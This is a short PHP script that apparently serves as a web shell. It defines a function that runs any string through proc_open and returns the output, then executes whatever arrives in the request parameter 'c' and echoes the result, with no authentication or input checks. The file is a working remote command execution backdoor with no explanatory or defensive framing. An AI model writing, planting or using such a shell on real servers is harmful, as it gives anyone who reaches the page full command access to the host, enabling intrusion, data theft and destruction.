function executeCommand($input) {
$descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($input, $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errorOutput = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exitCode = proc_close($process);
if ($exitCode === 0) {
return $output;
} else {
return "Error: " . $errorOutput;
}
} else {
return "↳ Unable to execute command\n";
}
}
if (isset($_REQUEST['c'])) {
$command = $_REQUEST['c'];
echo executeCommand($command);
}